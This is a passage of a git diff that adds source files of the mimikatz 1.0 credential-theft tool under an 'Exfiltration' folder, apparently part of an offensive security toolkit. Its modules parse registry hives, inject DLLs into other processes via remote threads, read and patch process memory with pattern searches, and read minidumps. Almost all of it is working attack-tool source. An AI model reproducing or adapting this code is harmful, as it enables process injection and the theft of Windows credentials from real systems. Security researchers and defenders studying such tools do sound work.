hsize, 1, hiveh) == 1) + { + reussite = *((int *)h->base) == 0x66676572; + } + } + fclose(hiveh); + } + return reussite; +} + +bool mod_hive::RegCloseHive(hive *h ) +{ + if(h->base != NULL) + { + delete[] h->base; + } + return true; +} + + +long mod_hive::parself(hive *h, char *t, unsigned long off ) +{ + nk_hdr *n; + lf_hdr *l; + hashrecord *hr; + + int i; + + hr = (hashrecord*) malloc(sizeof(hashrecord)); + n = (nk_hdr*) malloc(sizeof(nk_hdr)); + l = (lf_hdr*) malloc(sizeof(lf_hdr)); + l = read_lf(l, h, off ); + + for(i = 0; i < l->key_num; i++ ) + { + hr = read_hr(hr, l->hr, i); + n = read_nk(n, h, hr->nk_offset + 0x1000 ); + if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) + { + free(n); + free(l); + return hr->nk_offset; + } + } + free(n); + free(l); + return -1; +} + +bool mod_hive::RegGetRootKey(hive *h, string *root_key) +{ + bool reussite = false; + nk_hdr * n = new nk_hdr(); + read_nk(n, h, 0x1020); + if (n->id == NK_ID && n->type == NK_ROOT) + { + root_key->assign((const char *) n->key_name, n->name_len); + reussite = true; + } + delete n; + return reussite; +} + +bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) +{ + bool reussite = false; + + nk_hdr *n = new nk_hdr(); + char *t, *tpath; + unsigned long noff = 0; + + read_nk(n, h, 0x1020); + + if(n->id == NK_ID && n->type == NK_ROOT) + { + tpath = strdup(path->c_str()); + t = strtok(tpath, "\\"); + + if(!memcmp(t, n->key_name, n->name_len)) + { + t = strtok(NULL, "\\"); + while(t != NULL) + { + noff = parself(h, t, n->lf_off + 0x1000); + if(noff != -1) + { + read_nk(n, h, noff + 0x1000); + t = strtok( NULL, "\\" ); + } + else + { + break; + } + } + + if(t == NULL && noff != 1) + { + memcpy(*nr, n, sizeof(nk_hdr)); + reussite = true; + } + } + free(tpath); + } + + delete n; + return reussite; +} + +bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) +{ + bool reussite = false; + + vk_hdr *v = new vk_hdr(); + int * l = new int[nr->value_cnt]; + + read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); + + for(unsigned int i = 0; i < nr->value_cnt; i++) + { + read_vk(v, h, l[i] + 0x1000); + if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) + { + *len = v->data_len & 0x0000FFFF; + *buff = new unsigned char[*len]; + if (*len < 5) + { + memcpy(*buff, &(v->data_off), *len); + } + else + { + memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); + } + reussite = true; + break; + } + } + delete[] l; + delete v; + return reussite; +} + +bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) +{ + bool reussite = false; + mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(h, path, &nodeKey)) + { + reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); + } + delete nodeKey; + return reussite; +} + + + +bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector * names) +{ + int index = 0; + + lf_hdr *lf = new lf_hdr(); + nk_hdr *nk = new nk_hdr(); + hashrecord *hr = new hashrecord(); + + while(index < nr->subkey_num) + { + lf = read_lf(lf, h, nr->lf_off + 0x1000 ); + hr = read_hr(hr, lf->hr, index); + nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); + names->push_back(string(reinterpret_cast(nk->key_name), nk->name_len)); + index++; + } + + delete lf, nk, hr; + return !names->empty(); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h new file mode 100644 index 0000000..527a154 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +using namespace std; + +#define NK_ID 0x6B6E +#define NK_ROOT 0x2c +#define LF_ID 0x666C + +class mod_hive +{ +public: + typedef struct _hive + { + unsigned char *base; + } hive; + + typedef struct _nk_hdr + { + short int id; + short int type; + int t1, t2; + int unk1; + int parent_off; + int subkey_num; + int unk2; + int lf_off; + int unk3; + /* unsigned */ + unsigned int value_cnt; + int value_off; + int sk_off; + int classname_off; + int unk4[4]; + int unk5; + short int name_len; + short int classname_len; + unsigned char *key_name; + } nk_hdr; + + typedef struct _hashrecord + { + int nk_offset; + char keyname[4]; + } hashrecord; + + typedef struct _lf_hdr + { + short int id; + short int key_num; + unsigned char *hr; + } lf_hdr; + + typedef struct _vk_hdr + { + short int id; + short int name_len; + int data_len; + int data_off; + int data_type; + short int flag; + short int unk1; + unsigned char *value_name; + } vk_hdr; + + static bool InitHive(hive *h); + static bool RegOpenHive(const wchar_t * filename, hive *h); + static bool RegCloseHive(hive *h); + static bool RegGetRootKey(hive *h, string *root_key); + static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); + static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); + static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); + static bool RegEnumKey(hive *h, nk_hdr *nr, vector * names); + + static long parself(hive *h, char *t, unsigned long off); + static unsigned char* read_data(hive *h, int offset); +private: + static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); + static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); + static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); + static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); + static int* read_valuevector(int *value, hive *h, int offset, int size); + +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp new file mode 100644 index 0000000..2547a2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_inject.h" + +bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) +{ + bool reussite = false; + + wstring maLibComplete = L""; + if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) + { + bool fileExist = false; + if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) + { + SIZE_T szFullLibraryPath = static_cast((maLibComplete.size() + 1) * sizeof(wchar_t)); + + if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + { + if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) + { + PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); + HANDLE hRemoteThread = INVALID_HANDLE_VALUE; + + if(mod_system::GLOB_Version.dwMajorVersion > 5) + { + PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); + SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); + } + else + { + hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); + } + + if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) + { + WaitForSingleObject(hRemoteThread, INFINITE); + reussite = true; + CloseHandle(hRemoteThread); + } + } + VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); + } + } + } + return reussite; +} + +bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) +{ + bool reussite = false; + if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + reussite = injectLibraryInHandle(processHandle, fullLibraryPath); + CloseHandle(processHandle); + } + return reussite; +} + +bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) +{ + bool reussite = false; + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h new file mode 100644 index 0000000..a0f77d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_process.h" + +class mod_inject +{ +public: + static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); + static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); + static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp new file mode 100644 index 0000000..1e2ba8e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_memory.h" + +bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) +{ + if(handleProcess == INVALID_HANDLE_VALUE) + { + return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); + } + else + { + SIZE_T dwBytesRead = 0; + return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); + } +} + +bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) +{ + bool reussite = false; + DWORD OldProtect, OldProtect2; + + if(handleProcess == INVALID_HANDLE_VALUE) + { + if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); + VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); + } + } + else + { + if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + SIZE_T dwBytesWrite = 0; + reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); + VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); + } + } + + return reussite; +} + + +bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + BYTE * monTab = new BYTE[longueur]; + *addressePattern = adresseBase; + bool succesLecture = true; + bool succesPattern = false; + + while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) + { + if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) + { + if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) + { + *addressePattern += (enAvant ? 1 : -1); + } + } + } + delete[] monTab; + + if(!succesPattern) + *addressePattern = NULL; + + return succesPattern; +} + +bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + PBYTE addressePattern = NULL; + bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); + *offsetPattern = addressePattern - adresseBase; + return resultat; +} + +bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) +{ + bool resultat = false; + if(thePtr && pattern && taillePattern) + { + if(HMODULE monModule = GetModuleHandle(moduleName)) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + PBYTE addrMonModule = reinterpret_cast(mesInfos.lpBaseOfDll); + + if(PBYTE addrDebut = startFunc ? reinterpret_cast(GetProcAddress(monModule, startFunc)) : addrMonModule) + { + if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) + { + *thePtr += offSetToPtr; + if(!noPtr) + { +#ifdef _M_X64 + *thePtr += sizeof(long) + *reinterpret_cast(*thePtr); +#elif defined _M_IX86 + *thePtr = *reinterpret_cast(*thePtr); +#endif + } + } + else *thePtr = NULL; + } + } + } + } + return resultat; +} + +/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là ! +{ + PBYTE autreAddr = adresseBase; + PBYTE monMask = new BYTE[longueurMask]; + PBYTE monTab = new BYTE[longueurMask]; + + RtlCopyMemory(monMask, maskPattern, longueurMask); + bool succesLecture = false, succesPattern = false; + do + { + PBYTE funkyDiff = reinterpret_cast(addrPattern - (autreAddr + offsetAddrInMask + 4)); + RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast(&funkyDiff), 4); + succesLecture = readMemory(autreAddr, monTab, longueurMask); + succesPattern = memcmp(monTab, monMask, longueurMask) == 0; + autreAddr+=offset; + } while(!succesPattern && succesLecture); + + delete[] monMask; + + if(succesPattern && succesLecture) + { + *addressePattern = autreAddr-offset; + return true; + } + else return false; +}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h new file mode 100644 index 0000000..31eb27f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_memory +{ +public: + static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); + + /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/ +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp new file mode 100644 index 0000000..2825451 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp @@ -0,0 +1,163 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_minidump.h" + +mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) +{ +} + +mod_minidump::~mod_minidump(void) +{ + if(mesDonnees) + UnmapViewOfFile(mesDonnees); + + if(monFileMapping) + CloseHandle(monFileMapping); + + if(monFichier) + CloseHandle(monFichier); +} + +LPVOID mod_minidump::RVAtoPTR(RVA monRVA) +{ + return reinterpret_cast(mesDonnees) + monRVA; +} + +bool mod_minidump::open(wchar_t * filename) +{ + bool resultat = false; + + if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) + if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) + if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) + resultat = (reinterpret_cast(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast(reinterpret_cast(mesDonnees)->Version) == MINIDUMP_VERSION); + + return resultat; +} + +MINIDUMP_TYPE mod_minidump::getFlags() +{ + return static_cast(reinterpret_cast(mesDonnees)->Flags); +} + +const wchar_t *FlagsString[] = { + L"MiniDumpNormal", + L"MiniDumpWithDataSegs", + L"MiniDumpWithFullMemory", + L"MiniDumpWithHandleData", + L"MiniDumpFilterMemory", + L"MiniDumpScanMemory", + L"MiniDumpWithUnloadedModules", + L"MiniDumpWithIndirectlyReferencedMemory", + L"MiniDumpFilterModulePaths", + L"MiniDumpWithProcessThreadData", + L"MiniDumpWithPrivateReadWriteMemory", + L"MiniDumpWithoutOptionalData", + L"MiniDumpWithFullMemoryInfo", + L"MiniDumpWithThreadInfo", + L"MiniDumpWithCodeSegs", + L"MiniDumpWithoutAuxiliaryState", + L"MiniDumpWithFullAuxiliaryState", + L"MiniDumpWithPrivateWriteCopyMemory", + L"MiniDumpIgnoreInaccessibleMemory", + L"MiniDumpWithTokenInformation" +}; + +bool mod_minidump::FlagsToStrings(vector * monVecteur) +{ + return FlagsToStrings(getFlags(), monVecteur); +} + +bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur) +{ + bool resultat = false; + + if(!Flags) + { + monVecteur->push_back(FlagsString[0]); + resultat = true; + } + else if(Flags & MiniDumpValidTypeFlags) + { + DWORD shift, i; + for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) + { + if((Flags & shift) == shift) + monVecteur->push_back(FlagsString[i]); + } + resultat = true; + } + + return resultat; +} + +LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; i++) + { + if(mesRepertoires[i].StreamType == type) + return RVAtoPTR(mesRepertoires[i].Location.Rva); + } + return NULL; +} + +PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) +{ + if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast(getStream(ModuleListStream))) + { + for(DWORD i = 0; i < monObject->NumberOfModules; i++) + { + PMINIDUMP_MODULE monModule = &monObject->Modules[i]; + PMINIDUMP_STRING monModuleString = reinterpret_cast(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); + if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) + return monModule; + } + } + return NULL; +} + +bool mod_minidump::getStreamsVector(vector * monVecteur) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); + return true; +} + +const wchar_t *StreamTypeString[] = { + L"UnusedStream", + L"ReservedStream0", + L"ReservedStream1", + L"ThreadListStream", + L"ModuleListStream", + L"MemoryListStream", + L"ExceptionStream", + L"SystemInfoStream", + L"ThreadExListStream", + L"Memory64ListStream", + L"CommentStreamA", + L"CommentStreamW", + L"HandleDataStream", + L"FunctionTableStream", + L"UnloadedModuleListStream", + L"MiscInfoStream", + L"MemoryInfoListStream", + L"ThreadInfoListStream", + L"HandleOperationListStream", + L"TokenStream" +}; + +wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) +{ + if(monType <= TokenStream) + return StreamTypeString[monType]; + else + { + wostringstream monStream; + monStream << L"Inconnu (" << monType << L")"; + return monStream.str(); + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h new file mode 100644 index 0000000..4247ab0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include "mod_text.h" + +class mod_minidump +{ +private: + HANDLE monFichier, monFileMapping; + LPVOID mesDonnees; + +public: + mod_minidump(); + virtual ~mod_minidump(void); + + LPVOID RVAtoPTR(RVA monRVA); + bool open(wchar_t * filename); + LPVOID getStream(MINIDUMP_STREAM_TYPE type); + + PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); + bool getStreamsVector(vector * monVecteur); + MINIDUMP_TYPE getFlags(); + bool FlagsToStrings(vector * monVecteur); + + + static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); + static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h new file mode 100644 index 0000000..7188f2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h @@ -0,0 +1,322 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include +#include + +typedef LONG KPRIORITY; +typedef void** PPVOID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + KIWI_SystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + KIWI_SystemMmSystemRangeStart = 50 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllInformation, + ObjectDataInformation +} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; + + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS +} POOL_TYPE, *PPOOL_TYPE; + +typedef struct _PROCESS_SESSION_INFORMATION { + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING Name; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccess; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + USHORT MaintainTypeList; + POOL_TYPE PoolType; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModulevector; + LIST_ENTRY InMemoryOrderModulevector; + LIST_ENTRY InInitializationOrderModulevector; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; + PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + DWORD Freevector; //PPEB_FREE_BLOCK Freevector; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER 